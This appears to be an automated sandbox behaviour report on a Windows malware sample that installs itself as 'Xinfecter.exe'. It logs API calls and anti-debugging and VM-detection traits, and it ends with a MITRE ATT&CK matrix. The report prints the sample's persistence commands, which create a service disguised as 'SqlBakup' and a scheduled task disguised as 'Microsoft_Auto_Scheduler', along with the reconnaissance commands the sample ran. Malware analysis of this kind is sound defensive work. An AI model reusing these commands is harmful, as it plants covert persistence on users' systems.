      Source: C:\Windows\SysWOW64\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
      Source: C:\Windows\System32\find.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
      Source: C:\Windows\System32\find.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeFile Volume queried: \Device\CdRom0\ FullSizeInformationJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_0092C1DB FindFirstFileExA,0_2_0092C1DB
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_00878A30 SetErrorMode,FindFirstFileW,0_2_00878A30
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_00878B70 SetErrorMode,FindFirstFileW,SetErrorMode,FindFirstFileW,0_2_00878B70
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_0087A2AA lstrcmpW,lstrcmpW,lstrcmpW,std::ios_base::_Ios_base_dtor,FindNextFileW,FindClose,SetErrorMode,FindFirstFileW,0_2_0087A2AA
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_0087B6D0 SetErrorMode,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpW,std::ios_base::_Ios_base_dtor,FindNextFileW,FindClose,0_2_0087B6D0
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F8C1DB FindFirstFileExA,43_2_00F8C1DB
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00EDA2AA lstrcmpW,lstrcmpW,lstrcmpW,std::ios_base::_Ios_base_dtor,FindNextFileW,FindClose,SetErrorMode,FindFirstFileW,43_2_00EDA2AA
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00ED8A30 SetErrorMode,FindFirstFileW,43_2_00ED8A30
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00ED8B70 SetErrorMode,FindFirstFileW,SetErrorMode,FindFirstFileW,43_2_00ED8B70
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00EDB6D0 SetErrorMode,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpW,std::ios_base::_Ios_base_dtor,FindNextFileW,FindClose,43_2_00EDB6D0
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_0087E0D0 GetLogicalDriveStringsA,0_2_0087E0D0
      Source: wscript.exe, 00000024.00000002.1639336321.000001C22114E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}.
      Source: wscript.exe, 00000024.00000002.1639336321.000001C22111C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-1
      Source: wscript.exe, 0000000E.00000003.1593956428.0000000003273000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\y!N
      Source: GD8c7ARn8q.exe, 00000000.00000002.2799337296.000000000059D000.00000004.00000020.00020000.00000000.sdmp, GD8c7ARn8q.exe, 00000000.00000002.2799337296.000000000056F000.00000004.00000020.00020000.00000000.sdmp, GD8c7ARn8q.exe, 00000000.00000002.2799337296.000000000058B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
      Source: wscript.exe, 00000024.00000002.1639336321.000001C22114E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
      Source: wscript.exe, 0000000E.00000003.1593956428.0000000003273000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}BN
      Source: C:\Windows\SysWOW64\tasklist.exeProcess information queried: ProcessInformationJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_009156D8 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_009156D8
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_0090083D LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,0_2_0090083D
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_009115F9 mov eax, dword ptr fs:[00000030h]0_2_009115F9
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F715F9 mov eax, dword ptr fs:[00000030h]43_2_00F715F9
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008F01E0 WaitForSingleObjectEx,HeapFree,HeapFree,GetProcessHeap,HeapFree,HeapFree,WaitForSingleObjectEx,GetProcessHeap,HeapFree,0_2_008F01E0
      Source: C:\Windows\SysWOW64\tasklist.exeProcess token adjusted: DebugJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeProcess token adjusted: DebugJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeProcess token adjusted: Debug
      Source: C:\Windows\SysWOW64\tasklist.exeProcess token adjusted: Debug
      Source: C:\Windows\SysWOW64\tasklist.exeProcess token adjusted: Debug
      Source: C:\Windows\SysWOW64\tasklist.exeProcess token adjusted: Debug
      Source: C:\Windows\SysWOW64\tasklist.exeProcess token adjusted: Debug
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_009156D8 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_009156D8
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008F1EED SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_008F1EED
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008F20E8 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_008F20E8
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008F224A SetUnhandledExceptionFilter,0_2_008F224A
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F520E8 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,43_2_00F520E8
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F5224A SetUnhandledExceptionFilter,43_2_00F5224A
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F756D8 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,43_2_00F756D8
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F51EED SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,43_2_00F51EED
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c tasklist /v /fo csv | findstr /i "dcdcf"Jump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start=autoJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start= autoJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c sc create SqlBakup binPath= "C:\Documents and Settings\user\Start Menu\Programs\Startup\Xinfecter.exe" start= autoJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c verJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd "%SystemDrive%\Users\%username%\AppData\"&S-2153.batJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c schtasks /create /sc minute /mo 6 /tn "Microsoft_Auto_Scheduler" /tr "'C:\Users\%username%\AppData\S-2153.bat'" /fJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c echo %date%-%time%Jump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c systeminfo|find /i "os name"Jump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c systeminfo|find /i "original"Jump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c verJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /v /fo csvJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /i "dcdcf"Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\sc.exe sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start=autoJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\sc.exe sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start= autoJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\sc.exe sc create SqlBakup binPath= "C:\Documents and Settings\user\Start Menu\Programs\Startup\Xinfecter.exe" start= autoJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\S-8459.vbs" Jump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /C echo C:\Users\user\AppData\S-6748.batJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\S-6748.bat" "Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /sc minute /mo 6 /tn "Microsoft_Auto_Scheduler" /tr "'C:\Users\user\AppData\S-2153.bat'" /fJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\systeminfo.exe systeminfoJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /i "os name"Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /vJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /I /c "dcdcf" Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 15 /nobreakJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /fi "ImageName eq GD8c7ARn8q.exe" /fo csv Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /I "GD8c7ARn8q.exe"Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 15 /nobreakJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /fi "ImageName eq GD8c7ARn8q.exe" /fo csv Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /I "GD8c7ARn8q.exe"Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 15 /nobreakJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /fi "ImageName eq GD8c7ARn8q.exe" /fo csv Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /I "GD8c7ARn8q.exe"Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 15 /nobreakJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /fi "ImageName eq GD8c7ARn8q.exe" /fo csv Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /I "GD8c7ARn8q.exe"Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 15 /nobreakJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /fi "ImageName eq GD8c7ARn8q.exe" /fo csv Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /I "GD8c7ARn8q.exe"Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 15 /nobreakJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknownJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknownJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknownJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknownJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknownJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknownJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\systeminfo.exe systeminfoJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /i "original"Jump to behavior
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\S-8459.vbs" Jump to behavior
      Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /C echo C:\Users\user\AppData\S-6748.bat
      Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\S-6748.bat" "
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist /v
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\find.exe find /I /c "dcdcf"
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_00884530 GetCurrentThread,OpenThreadToken,GetLastError,GetCurrentProcess,OpenProcessToken,DuplicateToken,AllocateAndInitializeSid,LocalAlloc,InitializeSecurityDescriptor,GetLengthSid,LocalAlloc,InitializeAcl,AddAccessAllowedAce,SetSecurityDescriptorDacl,SetSecurityDescriptorGroup,SetSecurityDescriptorOwner,IsValidSecurityDescriptor,AccessCheck,LocalFree,LocalFree,LocalFree,FreeSid,CloseHandle,CloseHandle,CloseHandle,0_2_00884530
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_00884530 GetCurrentThread,OpenThreadToken,GetLastError,GetCurrentProcess,OpenProcessToken,DuplicateToken,AllocateAndInitializeSid,LocalAlloc,InitializeSecurityDescriptor,GetLengthSid,LocalAlloc,InitializeAcl,AddAccessAllowedAce,SetSecurityDescriptorDacl,SetSecurityDescriptorGroup,SetSecurityDescriptorOwner,IsValidSecurityDescriptor,AccessCheck,LocalFree,LocalFree,LocalFree,FreeSid,CloseHandle,CloseHandle,CloseHandle,0_2_00884530
      Source: Xinfecter.exe, 0000002B.00000002.1665074381.0000000000ADF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Manager
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008F1885 cpuid 0_2_008F1885
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: ___crtGetLocaleInfoEx,0_2_008EC7B8
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: GetLocaleInfoW,0_2_008ECAC4
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,0_2_0092EC7A
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: EnumSystemLocalesW,0_2_0092EEF2
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: EnumSystemLocalesW,0_2_0092EFD8
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: EnumSystemLocalesW,0_2_0092EF3D
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,0_2_0092F065
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: GetLocaleInfoW,0_2_0092F2B5
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: EnumSystemLocalesW,0_2_009233A0
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetACP,0_2_0092F3DE
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: GetLocaleInfoW,0_2_0092F4E5
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,0_2_0092F5B2
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: GetLocaleInfoW,0_2_00923889
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: ___crtGetLocaleInfoEx,43_2_00F4C7B8
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: GetLocaleInfoW,43_2_00F4CAC4
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,43_2_00F8EC7A
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: EnumSystemLocalesW,43_2_00F8EEF2
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: EnumSystemLocalesW,43_2_00F8EFD8
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: EnumSystemLocalesW,43_2_00F8EF3D
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,43_2_00F8F065
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: GetLocaleInfoW,43_2_00F8F2B5
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetACP,43_2_00F8F3DE
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: EnumSystemLocalesW,43_2_00F833A0
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: GetLocaleInfoW,43_2_00F8F4E5
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,43_2_00F8F5B2
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: GetLocaleInfoW,43_2_00F83889
      Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008F235B GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,0_2_008F235B
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_00873EB0 GetUserNameW,0_2_00873EB0
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_0092BBD2 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,0_2_0092BBD2
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008F6F13 GetVersionExW,Concurrency::details::platform::InitializeSystemFunctionPointers,Concurrency::details::WinRT::Initialize,__CxxThrowException@8,0_2_008F6F13
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_00861960 __ehhandler$??1_Scoped_lock@?$SafeRWList@UListEntry@details@Concurrency@@VNoCount@CollectionTypes@23@V_ReaderWriterLock@23@@details@Concurrency@@QAE@XZ,0_2_00861960
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_00861020 __ehhandler$??1_Scoped_lock@?$SafeRWList@UListEntry@details@Concurrency@@VNoCount@CollectionTypes@23@V_ReaderWriterLock@23@@details@Concurrency@@QAE@XZ,0_2_00861020
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008612E0 __ehhandler$??1_Scoped_lock@?$SafeRWList@UListEntry@details@Concurrency@@VNoCount@CollectionTypes@23@V_ReaderWriterLock@23@@details@Concurrency@@QAE@XZ,0_2_008612E0
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_009027F5 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::GetInternalContext,0_2_009027F5
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_009034EB Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::ReleaseInternalContext,0_2_009034EB
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00EC1960 __ehhandler$??1_Scoped_lock@?$SafeRWList@UListEntry@details@Concurrency@@VNoCount@CollectionTypes@23@V_ReaderWriterLock@23@@details@Concurrency@@QAE@XZ,43_2_00EC1960
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F627F5 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::GetInternalContext,43_2_00F627F5
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00EC1020 __ehhandler$??1_Scoped_lock@?$SafeRWList@UListEntry@details@Concurrency@@VNoCount@CollectionTypes@23@V_ReaderWriterLock@23@@details@Concurrency@@QAE@XZ,43_2_00EC1020
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00EC12E0 __ehhandler$??1_Scoped_lock@?$SafeRWList@UListEntry@details@Concurrency@@VNoCount@CollectionTypes@23@V_ReaderWriterLock@23@@details@Concurrency@@QAE@XZ,43_2_00EC12E0
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F634EB Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::ReleaseInternalContext,43_2_00F634EB

      Mitre Att&ck Matrix

      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
      Gather Victim Identity Information12
      Scripting      		1
      Replication Through Removable Media      		231
      Windows Management Instrumentation      		12
      Scripting      		1
      DLL Side-Loading      		1
      Deobfuscate/Decode Files or Information      		OS Credential Dumping2
      System Time Discovery      		Remote Services1
      Archive Collected Data      		2
      Ingress Tool Transfer      		Exfiltration Over Other Network MediumAbuse Accessibility Features
      CredentialsDomainsDefault Accounts1
      Native API      		1
      DLL Side-Loading      		11
      Windows Service      		2
      Obfuscated Files or Information      		LSASS Memory11
      Peripheral Device Discovery      		Remote Desktop ProtocolData from Removable Media2
      Encrypted Channel      		Exfiltration Over BluetoothNetwork Denial of Service
      Email AddressesDNS ServerDomain Accounts1
      Scheduled Task/Job      		11
      Windows Service      		12
      Process Injection      		1
      DLL Side-Loading      		Security Account Manager1
      Account Discovery      		SMB/Windows Admin SharesData from Network Shared Drive11
      Non-Standard Port      		Automated ExfiltrationData Encrypted for Impact
      Employee NamesVirtual Private ServerLocal Accounts1
      Service Execution      		1
      Scheduled Task/Job      		1
      Scheduled Task/Job      		1
      File Deletion      		NTDS3
      File and Directory Discovery      		Distributed Component Object ModelInput Capture2
      Non-Application Layer Protocol      		Traffic DuplicationData Destruction
      Gather Victim Network InformationServerCloud AccountsLaunchd12
      Registry Run Keys / Startup Folder      		12
      Registry Run Keys / Startup Folder      		11
      Masquerading      		LSA Secrets58
      System Information Discovery      		SSHKeylogging2
      Application Layer Protocol      		Scheduled TransferData Encrypted for Impact
      Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts13
      Virtualization/Sandbox Evasion      		Cached Domain Credentials1
      Network Share Discovery      		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
      DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items12
      Process Injection      		DCSync241
      Security Software Discovery      		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
      Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
      Indicator Removal      		Proc Filesystem13
      Virtualization/Sandbox Evasion      		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
      Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAtHTML Smuggling/etc/passwd and /etc/shadow3
      Process Discovery      		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
      IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCronDynamic API ResolutionNetwork Sniffing1
      System Owner/User Discovery      		Shared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement
      Network Security AppliancesDomainsCompromise Software Dependencies and Development ToolsAppleScriptLaunchdLaunchdStripped PayloadsInput Capture1
